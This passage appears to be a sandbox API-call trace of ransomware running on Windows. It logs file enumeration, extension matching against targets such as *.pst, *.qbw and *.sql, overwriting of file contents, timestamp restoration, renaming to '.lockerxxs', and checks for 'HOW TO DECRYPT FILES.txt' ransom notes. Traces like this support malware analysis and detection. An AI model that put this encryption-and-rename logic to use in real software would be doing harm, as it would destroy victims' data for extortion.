returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png" [0083.934] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png" [0083.934] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png." [0083.934] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png.lockerxxs" [0083.934] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aamin0z[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.934] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x157 [0083.935] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x45798350, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x45798350, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x45798350, dwHighDateTime=0x1d2faf3)) returned 1 [0083.935] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.935] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x131, lpOverlapped=0x0) returned 1 [0083.938] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png") returned="AAmin0Z[1].png" [0083.938] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.938] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x131, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x131, lpOverlapped=0x0) returned 1 [0083.938] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.938] CloseHandle (hObject=0xa4) returned 1 [0083.938] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aamin0z[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aamin0z[1].png.lockerxxs")) returned 1 [0083.939] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x533f5b30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x533f5b30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5341bc90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x36b1, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="AAnhRyj[1].jpg", cAlternateFileName="AANHRY~1.JPG")) returned 1 [0083.939] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.939] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AAnhRyj[1].jpg") returned 1 [0083.939] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AAnhRyj[1].jpg") returned 1 [0083.939] lstrcmpiA (lpString1="", lpString2="AAnhRyj[1].jpg") returned -1 [0083.939] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png") returned="AAmin0Z[1].png" [0083.939] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0083.939] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0083.940] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0083.940] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0083.940] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="AAnhRyj[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg" [0083.940] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg", pszSpec="*.ems") returned 0 [0083.940] lstrlenA (lpString="*.ems") returned 5 [0083.940] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg", pszSpec="*.db") returned 0 [0083.940] lstrlenA (lpString="*.db") returned 4 [0083.940] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg", pszSpec="*.dbf") returned 0 [0083.940] lstrlenA (lpString="*.dbf") returned 5 [0083.940] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg", pszSpec="*.myox") returned 0 [0083.940] lstrlenA (lpString="*.myox") returned 6 [0083.940] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg", pszSpec="*.myo") returned 0 [0083.940] lstrlenA (lpString="*.myo") returned 5 [0083.940] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg", pszSpec="*.qbw") returned 0 [0083.940] lstrlenA (lpString="*.qbw") returned 5 [0083.940] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg", pszSpec="*.qbb") returned 0 [0083.941] lstrlenA (lpString="*.qbb") returned 5 [0083.941] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg", pszSpec="*.qbm") returned 0 [0083.941] lstrlenA (lpString="*.qbm") returned 5 [0083.941] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg", pszSpec="*.qbo") returned 0 [0083.941] lstrlenA (lpString="*.qbo") returned 5 [0083.941] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg", pszSpec="*.qbx") returned 0 [0083.941] lstrlenA (lpString="*.qbx") returned 5 [0083.941] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg", pszSpec="*.qba") returned 0 [0083.941] lstrlenA (lpString="*.qba") returned 5 [0083.941] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg", pszSpec="*.qby") returned 0 [0083.941] lstrlenA (lpString="*.qby") returned 5 [0083.941] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg", pszSpec="*.qbj") returned 0 [0083.941] lstrlenA (lpString="*.qbj") returned 5 [0083.941] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg", pszSpec="*.ofx") returned 0 [0083.941] lstrlenA (lpString="*.ofx") returned 5 [0083.941] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg", pszSpec="*.qif") returned 0 [0083.941] lstrlenA (lpString="*.qif") returned 5 [0083.941] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg", pszSpec="*.mye") returned 0 [0083.941] lstrlenA (lpString="*.mye") returned 5 [0083.941] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg", pszSpec="*.mbox") returned 0 [0083.941] lstrlenA (lpString="*.mbox") returned 6 [0083.941] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg", pszSpec="*.eml") returned 0 [0083.941] lstrlenA (lpString="*.eml") returned 5 [0083.942] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg", pszSpec="*.pst") returned 0 [0083.942] lstrlenA (lpString="*.pst") returned 5 [0083.942] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg", pszSpec="*.ost") returned 0 [0083.942] lstrlenA (lpString="*.ost") returned 5 [0083.942] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg", pszSpec="*.idx") returned 0 [0083.942] lstrlenA (lpString="*.idx") returned 5 [0083.942] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg", pszSpec="*.dbx") returned 0 [0083.942] lstrlenA (lpString="*.dbx") returned 5 [0083.942] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg", pszSpec="*.sql") returned 0 [0083.942] lstrlenA (lpString="*.sql") returned 5 [0083.942] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg", pszSpec="*.mdb") returned 0 [0083.942] lstrlenA (lpString="*.mdb") returned 5 [0083.942] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg", pszSpec="*.fdb") returned 0 [0083.942] lstrlenA (lpString="*.fdb") returned 5 [0083.942] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg", pszSpec="*.wab") returned 0 [0083.942] lstrlenA (lpString="*.wab") returned 5 [0083.942] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg", pszSpec="*.dat") returned 0 [0083.942] lstrlenA (lpString="*.dat") returned 5 [0083.942] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg", pszSpec="*.txt") returned 0 [0083.942] lstrlenA (lpString="*.txt") returned 5 [0083.942] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg", pszSpec="*.jpeg") returned 0 [0083.942] lstrlenA (lpString="*.jpeg") returned 6 [0083.942] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg", pszSpec="*.jpg") returned 1 [0083.942] lstrlenA (lpString="*.jpg") returned 5 [0083.943] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg" [0083.943] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg" [0083.943] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg." [0083.943] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg.lockerxxs" [0083.943] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aanhryj[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.943] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x36b1 [0083.943] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x533f5b30, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x533f5b30, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x5341bc90, dwHighDateTime=0x1d2dd9e)) returned 1 [0083.943] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.944] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x368b, lpOverlapped=0x0) returned 1 [0083.946] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg") returned="AAnhRyj[1].jpg" [0083.946] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.946] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x368b, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x368b, lpOverlapped=0x0) returned 1 [0083.946] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.946] CloseHandle (hObject=0xa4) returned 1 [0083.946] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aanhryj[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aanhryj[1].jpg.lockerxxs")) returned 1 [0083.947] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c161a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x64c161a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x64e9d900, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x39f, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", cAlternateFileName="ACTIVI~1.HTM")) returned 1 [0083.947] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.947] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm") returned 1 [0083.948] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm") returned 1 [0083.948] lstrcmpiA (lpString1="", lpString2="activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm") returned -1 [0083.948] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg") returned="AAnhRyj[1].jpg" [0083.948] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0083.948] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0083.948] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0083.948] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0083.948] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 